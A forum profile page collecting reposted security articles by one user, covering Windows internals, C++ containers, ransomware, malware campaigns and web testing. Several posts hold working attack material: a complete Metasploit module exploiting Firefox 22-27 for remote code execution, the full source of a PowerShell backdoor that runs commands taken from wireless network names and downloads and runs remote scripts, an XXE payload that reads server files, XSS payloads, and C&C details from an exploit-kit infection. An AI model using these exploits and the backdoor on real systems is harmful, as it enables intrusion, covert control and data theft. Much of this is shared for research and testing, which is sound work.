Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. [h=3]Windows Internals - Quantum end context switching[/h] Hello, Lately I decided to start sharing the notes I gather , almost daily , while reverse engineering and studying Windows. As I focused in the last couple of days on studying context switching , I was able to decompile the most involved functions and study them alongside with noting the important stuff. The result of this whole process was a flowchart. Before getting to the flowchart let's start by putting ourselves in the main plot : As you might know, each thread runs for a period of time before another thread is scheduled to run, excluding the cases where the thread is preempted ,entering a wait state or terminated. This time period is called a quantum. Everytime a clock interval ends (mostly 15 ms) the system clock issues an interrupt.While dispatching the interrupt, the thread current cycle count is verified against its cycle count target (quantum target) to see if it has reached or exceeded its quantum so the context would be switched the next thread scheduled to run. Note that a context-switch in Windows doesn't happen only when a thread has exceeded its quantum, it also happens when a thread enters a wait state or when a higher priority thread is ready to run and thus preempts the current thread. As it will take some time to organize my detailed notes and share them here as an article (maybe for later),consider the previous explanation as a small introduction into the topic. However ,the flowchart goes through the details involved in quantum end context switching. Please consider downloading the pdf to be able to zoom as much as you like under your PDF reader because GoogleDocs doesn't provide enough zooming functionality to read the chart. Preview (unreadable) : PDF full size Download :GoogleDocs Link P.S : - As always , this article is based is on : Windows 7 32-bit - Note that details concerning the routine that does the context switching (SwapContext) aren't included in the chart and are left it for a next post. See you again soon. -Souhail. Sursa: Reverse Engineering 0x4 Fun: Windows Internals - Quantum end context switching
  2. Firefox WebIDL Privileged Javascript Injection Authored by joev, Marius Mlynski | Site metasploit.com This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox's Javascript APIs. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_maxver => "22.0", :ua_maxver => "27.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox WebIDL Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox's Javascript APIs. }, 'License' => MSF_LICENSE, 'Author' => [ 'Marius Mlynski', # discovery and pwn2own exploit 'joev' # metasploit module ], 'DisclosureDate' => "Mar 17 2014", 'References' => [ ['CVE', '2014-1510'], # open chrome:// url in iframe ['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(22, 27) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+ "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+ "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>" js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; // Load the chrome-privileged browser XUL script into an iframe var c = new mozRTCPeerConnection; c.createOffer(function(){},function(){ window.open('chrome://browser/content/browser.xul', '#{frame}'); step1(); }); // Inject a data: URI into an internal frame inside of the browser // XUL script to pop open a new window with the chrome flag to prevent // the new window from being wrapped with browser XUL; function step1() { var clear = setInterval(function(){ // throws until frames[0].frames[2] is available (when chrome:// iframe loads) frames[0].frames[2].location; // we base64 this to avoid the script tag screwing up things when obfuscated frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}'); clearInterval(clear); setTimeout(step2, 100); },10); } // Step 2: load the chrome-level window up with a data URI, which // gives us same-origin. Make sure to load an "<iframe mozBrowser>" // into the frame, since that will respond to our messageManager // (this is important later) function step2() { var clear = setInterval(function(){ top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+ 'src="about:blank"></iframe></body></html>'; clearInterval(clear); setTimeout(step3, 100); }, 10); } function step3() { var clear = setInterval(function(){ if (!frames[0]) return; // will throw until the frame is accessible top.vvv.messageManager.loadFrameScript('data:,'+key, false); clearInterval(clear); setTimeout(function(){top.vvv.close();}, 100); }, 10); } |) js.obfuscate %Q| <!doctype html> <html> <body> <iframe id='#{frame}' name='#{frame}' style='position:absolute;left:-9999999px;height:1px;width:1px;'> </iframe> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end Sursa: Firefox WebIDL Privileged Javascript Injection ? Packet Storm
  3. Nytro

    FBVector

    [h=2]folly/FBvector.h[/h] Simply replacing std::vector with folly::fbvector (after having included the folly/FBVector.h header file) will improve the performance of your C++ code using vectors with common coding patterns. The improvements are always non-negative, almost always measurable, frequently significant, sometimes dramatic, and occasionally spectacular. [h=3]Sample[/h] folly::fbvector<int> numbers({0, 1, 2, 3});numbers.reserve(10); for (int i = 4; i < 10; i++) { numbers.push_back(i * 2); } assert(numbers[6] == 12); [h=3]Motivation[/h] std::vector is the stalwart abstraction many use for dynamically-allocated arrays in C++. It is also the best known and most used of all containers. It may therefore seem a surprise that std::vector leaves important - and sometimes vital - efficiency opportunities on the table. This document explains how our own drop-in abstraction fbvector improves key performance aspects of std::vector. Refer to folly/test/FBVectorTest.cpp for a few benchmarks.Sursa: https://github.com/facebook/folly/blob/master/folly/docs/FBVector.md
  4. HOW (AND WHY) WE DEFEATED DIRCRYPT DirCrypt is a particularly nasty variant of ransomware. In addition to encrypting most of the user’s files and demanding ransom for their decryption, the malware stays resident in the system, and immediately encrypts any new file which is created or saved. Therefore, the user is completely prevented from using the computer normally. The normal advice to victims of ransomware is to recover files from some previous backup. If there isn’t a backup, the victims are given the option of either accepting the loss of their data—or paying the attacker. However, Check Point’s Malware Research Team has found that in the case of DirCrypt, victims of the malware can recover almost all of their data, due to several weaknesses in the way the malware implements its crypto functionality. Download: http://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf
  5. HowTo: Debug Android APKs with Eclipse and DDMS Source: http://blog.dornea.nu/2014/08/21/howto-debug-android-apks-with-eclipse-and-ddms/ 1. Download apktool git clone git://github.com/iBotPeaches/Apktool.git find . -name "apktool-cli.jar" cp ./brut.apktool/apktool-cli/build/libs/apktool-cli.jar /tmp 2. Dump APK java -jar /tmp/apktool-cli.jar d -d FakeBanker.apk -o source 3. Make Application to debug mode If you want to do it manually open the AndroidManifest.xml file and search for the application tag. Then insert new attribute android:debuggable='true' like I did: 4. Build new app # java -jar /tmp/apktool-cli.jar b -d source FakeBanker.Debug.apk 5. Unzip debug application and make jar file unzip FakeBanker.Debug.apk -d unpacked cd unpacked # dex2jar classes.dex -> classes-dex2jar.jar 6. Using jd-gui for save all source of jar 7. Sign the application git clone https://github.com/appium/sign # java -jar sign/dist/signapk.jar sign/testkey.x509.pem sign/testkey.pk8 FakeBanker.Debug.apk FakeBanker.Debug.Signed.apk 8. Install Application to your mobile # adb devices -l # adb install FakeBanker.Debug.Signed.apk For add some source into app # mkdir source/src # unzip classes-dex2jar.src.zip -d source/src Debug Settings Go to Device Settings -> Select debug app. Also make sure you have Wait for debugger Create new Java project in Eclipse 1. create a new Java project and use source as the location of the project 2. Add src folder to build path 3. Check project properties 4. Set breakpoints 5. And run (Switching to debug mode). Sursa: HowTo: Debug Android APKs with Eclipse and DDMS | Offensive Security Blog V2.0
  6. Angler EK : now capable of "fileless" infection (memory malware) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Matrix - Agent Jackson avoiding bullets[/TD] [/TR] [/TABLE] (First edition : I asked help to study this - Hopefully, more technical details to come soon) Few days ago I spotted a new pattern in some Angler EK threads : [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]New pattern in a Vawtrak Thread from Angler EK Fired : CVE-2013-2551 - 2014-08-28[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]New pattern in another Vawtrak Thread from Angler EK Fired : CVE-2014-0515 - 2014-08-29[/TD] [/TR] [/TABLE] GET http://rwvs30r2zq.akdnbfb .com/qpbv8tg4ee/count?b=1 HTTP/1.1 Accept: */* Referer: http://rwvs30r2zq.akdnbfb .com/qpbv8tg4ee Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Accept-Encoding: gzip, deflate Host: rwvs30r2zq.akdnbfb.com Connection: Keep-Alive Wondering what it was and going over different infections paths I spotted only one thread without this "new" count?b. [Note : on the 2014-08-31 count?b appeared on that thread too] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Angler EK - 2014-08-28 "Memory Malware" thread[/TD] [/TR] [/TABLE] Exploits' hashes were the same as on all other threads but my usual tools were not able to gather the payload and what surprised me more is that HIPS (like Faronics antiexec) were bypassed (note : I tried Malwarebytes AntiExploit and it was able to spot the ROP and Stack pivoting) I spent some time to figure out what was happening here : Angler EK is now able to infect an host without writing the malware on the drive (it's injected directly in the process running the exploited plugin) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center] Angler EK (no landing on this screen, CVE-2014-0515 fired) and Call back from the malware injected in Internet Explorer 2nd Stage drop : 275c5f650261e80d864faf7cc6b70774 injecting itself to explorer and then gathering Necurs on the same C&C (e.g. : be84c4689912d5689283b4b7efcaf8f2 - 2014-08-28 , b0e3e860a2dc62cb40fd6ef897ad592b 2014-08-29 , 5830dfde30873176d05604677bab6bd9 2014-08-30) [/TD] [TD=class: tr-caption][/TD] [TD=class: tr-caption][/TD] [/TR] [/TABLE] Malware call back in https to koqpisea.in : 217.23.3.204 49981 | 217.23.0.0/20 | WORLDSTREAM | NL | WORLDSTREAM.NL | WORLDSTREAM Call for 2nd Stage payload looks like : POST https://koqpisea.in/ HTTP/1.1 Host: koqpisea.in Content-Length: 94 Connection: Keep-Alive Cache-Control: no-cache {"protocolVersion":1,"buildId":1049,"id":"35d1754a1c4672f2","tags":[{"type":"dll","64bit":0}]} This feature opens a wide range of possibilities. Aside being a powerful way to bypass AV, an ideal way for one time stealer or loader (Pony, Jolly Roger, Andromeda, Smoke Bot, etc..), it also allows a detailed check of the infected host before being a little more noisy and writing anything on disk. It makes it also difficult to grab the dropper (you have to get it from the memory or from the recorded traffic then decode it). This is a powerful move for the attack side. Additionnal illustrations : [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Injected plugin-container calling C&C after successful "memory malware" infection via Silverlight on Firefox and Windows 7 2014-08-30[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Image : Courtesy of Will Metcalf from Emerging Threats Java calling payload then "Memory payload" activity captured by his Cuckoo instance 2014-08-28[/TD] [/TR] [/TABLE] Hopefully more to come soon. Credits: Thanks to Will Metcalf (Emerging Threats) and Mieke Verburgh (Malwarebytes) for help and advices. Files: AnglerEK_MM_2014-08-31 (Fiddlers + C&C calls - Owncloud) If you want to play with Volatility or whatever, here is the memory (Mega) of a VM when IE was injected and calling C&C (IE pid : 860) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Capture of Fiddler just before pausing the VM 2014-08-30[/TD] [/TR] [/TABLE] Sursa: Malware don't need Coffee: Angler EK : now capable of "fileless" infection (memory malware)
  7. XML External Entity Injection For Fun and Maybe Profit Ed_A| August 28, 2014 Ooo injection…or maybe oww injection Source: https://flic.kr/p/5LPRs7 The eXtensible markup language, or XML, is commonly used in applications. XML allows data to be represented in a structured manner and is handled by an XML parser. XML parsers open up new avenues for web attacks including XML Injection, Entity Expansion and the topic of this blog, XML External Entity Injection; but first, some background. SOAP Web Services The Simple Object Access Protocol, or SOAP, is a type of web service. SOAP is standards based. The transport is XML over HTTP in both directions. A standard SOAP request looks like this one available at http://www.webservicex.net/ws/WSDetails.aspx?CATID=2&WSID=9: POST /stockquote.asmx HTTP/1.1 Host: www.webservicex.net Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://www.webserviceX.NET/GetQuote" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetQuote xmlns="http://www.webserviceX.NET/"> <symbol>string</symbol> </GetQuote> </soap:Body> </soap:Envelope> HTTP/1.1 200 OK Content-Type: text/xml; charset=utf-8 Content-Length: length <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetQuoteResponse xmlns="http://www.webserviceX.NET/"> <GetQuoteResult>string</GetQuoteResult> </GetQuoteResponse> </soap:Body> </soap:Envelope> A SOAP envelope containing XML is sent to the server via POST, processed by an XML parser, and the server responds with a SOAP envelope containing the response. XXE XML External Entity (XXE) injection vulnerabilities arise because the XML specification allows XML documents to define entities which reference resources external to the document. XML parsers typically support this feature by default, even though it is rarely required by applications during normal usage. XXE Injection is an attack in which an attacker defines an arbitrary entity that is executed by the XML parser if the parser lacks validation checks. Entities are used as abbreviations to represent a repetitive value. External entities can reference files on the parser's filesystem; exploiting this feature may allow retrieval of arbitrary files, or denial of service by causing the server to read from a file such as /dev/random. They can also reference URLs; exploiting this feature may allow port scanning from the XML parser's host, or the retrieval of sensitive web content which is otherwise inaccessible due to network topology and defenses. An attack string would look like: <!DOCTYPE foo [<!ENTITY test SYSTEM "file:///c:/windows/win.ini"> ]> This string is referred to as a DTD or Document Type Declaration. A DTD is simply a mechanism for defining entities. The DOCTYPE declaration “foo” is not important. This can be any arbitrary value. The value “SYSTEM” indicates the file should be read from the location that follows. This string is telling the XML parser to replace references to “&test;” with the contents of C:\Windows\win.ini. This could be any file readable by the account under which the application is running. The defined entity “test” would then be inserted into the normal SOAP message in a value. The full attack payload would resemble: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [<!ENTITY test SYSTEM "file:///c:/windows/win.ini"> ]> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetQuoteResponse xmlns="http://www.webserviceX.NET/"> <GetQuoteResult>&test;</GetQuoteResult> </GetQuoteResponse> </soap:Body> </soap:Envelope> If the service is vulnerable, it should return: HTTP/1.1 200 OK Content-Type: text/xml; charset=utf-8 Content-Length: length <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetQuoteResponse xmlns="http://www.webserviceX.NET/"> <GetQuoteResult>; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] aif=MPEGVideo aifc=MPEGVideo aiff=MPEGVideo asf=MPEGVideo asx=MPEGVideo au=MPEGVideo m1v=MPEGVideo m3u=MPEGVideo mp2=MPEGVideo mp2v=MPEGVideo mp3=MPEGVideo mpa=MPEGVideo mpe=MPEGVideo mpeg=MPEGVideo mpg=MPEGVideo mpv2=MPEGVideo snd=MPEGVideo wax=MPEGVideo wm=MPEGVideo wma=MPEGVideo wmv=MPEGVideo wmx=MPEGVideo wpl=MPEGVideo wvx=MPEGVideo</GetQuoteResult> </GetQuoteResponse> </soap:Body> </soap:Envelope> This attack is beginning to appear more often despite the fact that the vulnerability has existed for years. In January, Facebook paid one of the largest bounties to date for a XXE vulnerability discovered in OpenID Facebook Pays $33,500 Bounty for Major Code Execution Flaw | Threatpost | The first stop for security news. If you read the article, you will see that XXE can be turned into remote code execution. Intriguing… Fixes Validate user supplied input before passing it to the XML parser for processing. Additionally the parser may be able to disable DTD parsing and/or disable resolution of external entities via configuration options. As always, feel free to reach out to us here at FoD at with any questions via Twitter (@hpappsecurity) or via email (fodsales(at)hp.com). We'd love to hear your questions or comments about our data breaches, identity theft management, and how it affects you. Sursa: XML External Entity Injection For Fun and Maybe Pr... - HP Enterprise Business Community
  8. Penal E spaima tiganilor, dusnamul ungurilor si exterminatorul homosexualilor
  9. Introducing Gupt: A Backdoor which uses Wireless network names for command execution Few weeks back, I was playing with my mobile WiFi hotspot and powershell. Using powershell, I was listing the SSIDs created by the mobile hotspot, wondering if it could be exploited some way? It turned out to be a yes but with some help. Behold, I give you Gupt (which means secret), a powershell backdoor which could execute commands and scripts on a target if a specially crafted SSID is brought into its proximity. Gupt is very small yet powerful ! Like other backdoors, Gupt, a powershell script, has to be executed on the target. This could be done using Powershell Remoting and PsExec (needs crdentials of a user or hashes of built-in Administrator), with an exploit, using client side attacks (I will talk about these at DeepSec), using a Human Interface Device etc. Previous posts on this blog details above methods. Executing Commands Gupt checks all wireless network names for a pattern every 5 seconds, it asks for two parameters, first one, MagicString, is used to identify the SSID which contains commands for it. It needs to be four characters long. For example, if we set MagicString as "op3n", it would compare SSIDs of all available wireless networks if first four characters of any matches "op3n". Gupt needs the network name in a special format. While the first four characters must match MagicString, the 5th character is used to decide if we want it to execute a command or download-execute a powershell script. If the 5th character is 'c', it means that rest of the network name is a command! For example, while looking for Wireless Networks, if Gupt encounters a network with name "op3ncwhoami" it would execute whoami on the target. Simple, isn't it? Lets see it in action.We use the following: PS C:\nishang> . .\Gupt-Backdoor.ps1 PS C:\nishang> Gupt-Backdoor -MagicString op3n -Verbose Great! We executed command on the target without forcing it to connect to the wireless network. Lets have a look at the attacker's SSID/Network name. As we saw, everything after the 'c' is considered a single command. Lets see another example, this time with powershell cmdlet Get-Process. The SSID being "holacget-process" Gupt waits for 10 seconds after executing a command, we can execute more commands by changing the SSID name. Executing Scripts Now, how do we execute a script using Gupt? Since maximum length for an SSID could only be 32 characters (with restrictions on special characters), passing scripts in SSID name is not possible. To achieve script execution, Gupt downloads and executes a script. If the 5th character of SSID is 'u', Gupt looks for the id part of a URL shortened by Google URL shortener. For example, a SSID "op3nunJEuug" would use http://goo.gl/nJEuug to download and execute the script. The script would be executed in memory. The second parameter, Arguments could be used to pass arguments to the downloaded script. Lets see it in action with the Get-Information script from Nishang. We use the following command: PS C:\nishang> . .\Gupt-Backdoor.ps1 PS C:\nishang> Gupt-Backdoor -MagicString op3n -Argument Get-Information -Verbose Attacker's SSID being 'op3nunJEuug' We could also execute Powerpreter module on a target using Gupt the same way, powerpreter would provide much wider functionality. Lets see if we could get a meterpreter session with this. We will use the powershell script generated using msfpayload. And we have a meterpreter. This is how our SSIDs look like. Cool! Here is the full source code. function Gupt-Backdoor { [CmdletBinding()] Param( [Parameter(Position=0, Mandatory = $True)] [String] $MagicString, [Parameter(Position=3, Mandatory = $False)] [String] $Arguments ) #Get list of available Wlan networks while($True) { Write-Verbose "Checking wireless networks for instructions." $networks = Invoke-Expression "netsh wlan show network" $ssid = $networks | Select-String "SSID" $NetworkNames = $ssid -replace ".*:" -replace " " ForEach ($network in $NetworkNames) { #Check if the first four characters of our SSID matches the given MagicString if ($network.Substring(0,4) -match $MagicString.Substring(0,4)) { Write-Verbose "Found a network with instructions!" #If the netowrk SSID contains fifth chracter "u", it means rest of the SSID is a URL if ($network.Substring(4)[0] -eq "u") { Write-Verbose "Downloading the attack script and executing it in memory." $PayloadURL = "http://goo.gl/" + $network.Substring(5) $webclient = New-Object System.Net.WebClient Invoke-Expression $webclient.DownloadString($PayloadURL) if ($Arguments) { Invoke-Expression $Arguments } Start-Sleep -Seconds 10 } elseif ($network.Substring(4)[0] -eq "c") { $cmd = $network.Substring(5) if ($cmd -eq "exit") { break } Write-Verbose "Command `"$cmd`" found. Executing it." Invoke-Expression $cmd Start-Sleep -Seconds 10 } } } Start-Sleep -Seconds 5 } } Gupt waits for 10 seconds after executing a script, we can execute more commands by changing the SSID name. We ccold force Gupt to exit by naming our network, in above case, "op3ncexit". Use cases of Gupt are many like bypassing network traffic monitoring, backdooring a machine completely on an internal network or simply to show off something new to the clients. Gupt is available at github repo of Nishang and would soon be a part of Kautilya too. If you like this post and presently in Europe and/or coming to DeepSec, Vienna, join me for interesting hands-on hacks, concepts and code in my two-day training "Powershell for Penetration Testers". Details here: https://deepsec.net/speaker.html#WSLOT145 Hope you enjoyed this. Please leave comments. Posted by Nikhil SamratAshok Mittal Sursa: Lab of a Penetration Tester: Introducing Gupt: A Backdoor which uses Wireless network names for command execution
  10. XSScrapy: fast, thorough XSS vulnerability spider Posted on August 20, 2014 by Dan McInerney — 7 Comments ? https://github.com/DanMcInerney/xsscrapy Unsatisfied with the current crop of XSS-finding tools, I wrote one myself and am very pleased with the results. I have tested this script against other spidering tools like ZAP, Burp, XSSer, XSSsniper, and others and it has found more vulnerabilities in every case. This tool has scored me dozens of responsible disclosures in major websites including an Alexa Top 10 homepage, major financial institutes, and large security firms’ pages. Even the site of the Certified Ethical Hacker certificate progenitors fell victim although that shouldn’t impress you much if you actually know anything about EC-Council . For the record they did not offer me a discounted CEH. Shame, but thankfully this script has rained rewards upon my head like Bush/Cheney on Halliburton; hundreds of dollars, loot, and Halls of Fame in just a few weeks of bug bounty hunting. I think I’ve had my fill of fun with it so I’d like to publicly release it now. Technically I publicly released it the first day I started on it since it’s been on my github the whole time but judging by the Github traffic graph it’s not exactly the Bieber of security tools. Hopefully more people will find some use for it after this article which will outline it’s logic, usage, and shortcomings. Basic usage Install the prerequisite python libraries, give it a URL, and watch it spider the entire site looking in every nook and cranny for XSS vulnerabilities. apt-get install python-pip git clone https://github.com/DanMcInerney/xsscrapy cd xsscrapy pip install requirements.txt scrapy crawl xsscrapy -a url="http://example.com" To login then scrape: scrapy crawl xsscrapy -a url="http://example.com/login" -a user=my_username -a pw=my_password All vulnerabilities it finds will be places in formatted-vulns.txt. Example output when it finds a vulnerable user agent header: XSS attack vectors xsscrapy will test Referer header (way more common than I thought it would be!) User-Agent header Cookie header (added 8/24/14) Forms, both hidden and explicit URL variables End of the URL, e.g. www.example.com/<script>alert(1)</script> Open redirect XSS, e.g. looking for links where it can inject a value of javascript:prompt(1) XSS attack vectors xsscrapy will not test Other headers Let me know if you know of other headers you’ve seen XSS-exploitable in the wild and I may add checks for them in the script. Persistent XSS’s reflected in pages other than the immediate response page If you can create something like a calendar event with an XSS in it but you can only trigger it by visiting a specific URL that’s different from the immediate response page then this script will miss it. DOM XSS DOM XSS will go untested. CAPTCHA protected forms This should probably go without saying, but captchas will prevent the script from testing forms that are protected by them. AJAX Because Scrapy is not a browser, it will not render javascript so if you’re scanning a site that’s heavily built on AJAX this scraper will not be able to travel to all the available links. I will look into adding this functionality in the future although it is not a simple task. Test strings There are few XSS spiders out there, but the ones that do exist tend to just slam the target with hundreds to thousands of different XSS payloads then look for the exact reflection. This is silly. If < and > are filtered then <img src=x onerror=alert(1)> is going to fail just as hard as <script>alert(1)</script> so I opted for some smart targeting more along the logical lines ZAP uses. 9zqjx When doing the initial testing for reflection points in the source code this is the string that is used. It is short, uses a very rare letter combination, and doesn’t use any HTML characters so that lxml can accurately parse the response without missing it. '"()=<x> This string is useful as it has every character necessary to execute an XSS payload. The “x” between the angle bracket helps prevent false positives that may occur like in some ASP filters that allow < and > but not if there’s any characters between them. '"(){}[]; Embedded javascript injection. The most important character for executing an XSS payload inside embedded javascript is ‘ or ” which are necessary to bust out of the variable that you’re injecting into. The other characters may be necessary to create functional javascript. This attack path is useful because it doesn’t require < or > which are the most commonly filtered characters. JaVAscRIPT:prompt(99) If we find an injection point like: <a href=”INJECTION”> then we don’t need ‘, “, <, or > because we can just use the payload above to trigger the XSS. We add a few capital letters to bypass poorly written regex filters, use prompt rather than alert because alert is also commonly filtered, and use 99 since it doesn’t require quotes, is short, and is not 1 which as you can guess is also filtered regularly. Logic Xsscrapy will start by pulling down the list of disallowed URLs from the site’s robots.txt file to add to the queue then start spidering the site randomly choosing 1 of 6 common user agents. The script is built on top of web spidering library Scrapy which in turn is built on the asynchronous Twisted framework since in Python asynchronosity is simpler, speedier and more stable than threading. You can choose the amount of concurrent requests in settings.py; by default it’s 12. I also chose to use the lxml library for parsing responses since it’s 3-4x as fast as the popular alternative BeautifulSoup. With every URL the script spiders it will send a second request to the URL with the 9zqjx test string as the Referer header and a third request to the URL with /9zqjx tacked onto the end of the URL if there are no variables in the URL in order to see if that’s an injection point as well. It will also analyze the original response for a reflection of the user agent in the code. In order to save memory I have also replaced the original hash-lookup duplicate URL filter stock in Scrapy with a bloom filter. When xsscrapy finds an input vector like a URL variable it will load the value with the test string 9zqjx. Why 9zqjx? Because it has very few hits on Google and is only 5 characters long so it won’t have problems with being too long. The script will analyze the response using lxml+XPaths to figure out if the injection point is inbetween HTML tags like <title>INJECTION</title>, inside an HTML attribute like <input value=”INJECTION”>, or inside embedded javascript like var=’INJECTION’;. Once it’s determined where the injection took place it can figure out which characters are going to be the most important and apply the appropriate XSS test string. It will also figure out if the majority of the HTML attributes are enclosed with ‘ or ” and will apply that fact to its final verdict on what may or may not be vulnerable. Once it’s found a reflection point in the code and chosen 1 of the 3 XSS character strings from the section above it will resend the request with the XSS character string surrounded by 9zqjx, like 9zqjx’”()=<x>9zqjx, then analyze the response from the server. There is a pitfall to this whole method, however. Since we’re injecting HTML characters we can’t use lxml to analyze the response so we must to use regex instead. Ideally we’d use regex for both preprocessing and postprocessing but that would require more time and regex skill than I possess. That being said, I have not yet found an example in the wild where I believe this would have made a difference. Definitely doesn’t mean they don’t exist. This script doesn’t encode its payloads except for form requests. It will perform one request with the unencoded payload and one request with an HTML entity-encoded payload. This may change later, but for now it seems to me at least 95% of XSS vulnerabilities in top sites lack any filtering at all making encoding the payload mostly unnecessary. After the XSS characters string is sent and the response processed using regex xsscrapy will report its finding to the DEBUG output. By default the output of the script is set to DEBUG and will be very verbose. You can change this within xsscrapy/settings.py if you wish. If it doesn’t find anything you’ll see “WARNING: Dropped: No XSS vulns in http://example.com”. It should be noted that redirects are on which means it will scrape some domains that aren’t just part of the original domain you set as the start URL if a domain within the start URL redirects to them. You can disable redirects by uncommenting REDIRECT_ENABLED in xsscrapy/setting.py. Manually testing reported vulnerabilities If you see a hit for a vulnerability in a site, you’ll need to go manually test it. Tools of the trade: Firefox with the extensions HackBar and Tamper Data. Go to formatted-vulns.txt and check the “Type:” field. header: Use Firefox + Tamper Data to edit/create headers and payload the header value. url: Just hit the URL with Firefox and change the parameter seen in “Injection point” to a payload form: Use Firefox + HackBar. Enter the value within the “POST url” field of the xsscrapy report into the top half of HackBar then check the box “Enable Post data” and enter your variable and payload in the bottom box, e.g., var1=”><sVG/OnLoaD=prompt(9)>&var2=<sVG/OnLoaD=prompt(9)> end of url: Use Firefox, go to the URL listed within the xsscrapy report, and add your payload to the end of the URL like example.com/page1/<sVG/OnLoaD=prompt(9)> The “Line:” fields are just there to quickly identify if the vulnerability is a false positive and to see if it’s an HTTP attribute injection or HTML tag injection. Recommended payloads: Attribute injection: “><sVG/OnLoaD=prompt(9)> Between tag injection: <sVG/OnLoaD=prompt(9)> Future I would like the payloaded request URLs to not automatically be URL encoded as they are now. This hasn’t been a huge deal so far, but it would be a nice addition. It seems as easy as monkey-patching the Request class and eliminateing safe_url_string but I haven’t had success yet. Payloads appended to the end of cookies should be added so we can exploit that vector. Done 8/24/14. Add ability to scrape AJAX-heavy sites. ScrapingHub has some middleware but still not the simplest task. iframe support Done 8/25/14 Sursa: XSScrapy: fast, thorough XSS vulnerability spider | Dan McInerney
  11. [h=2]Lynis v1.5.7- Security auditing and hardening tool[/h]July 21st, 2014 Mourad Ben Lakhoua Hardening operating system is important to protect your environment against any compromise. one of the open source tools that you can use for hardening Unix and Linux based systems is Lynis. Lynis will run several hundreds of tests and perform an audit for your system so it will check the configuration files to find out if you have the correct configuration and report for what are the gaps you have on your systems. Lynis help you with taking the right measures and check the related controls and define your improvement plan this to meet security standards such as Basel II,GLBA,HIPAA , ISO27001/ISO27002, PCI-DSS and SOx (Sarbanes-Oxley). Lynis will make the compliance scan you need to evaluate your system against the standards so you can have a checklist with the action plan to properly harden your system. At the moment there are an open source version that you can use for security auditing,vulnerability scanning and system hardening. While you can find an enterprise version which adds more components for the compliance check and security. You can download Lynis over this link: Products - Security auditing/hardening of Linux and Unix systems Sursa: Lynis v1.5.7- Security auditing and hardening tool | SecTechno
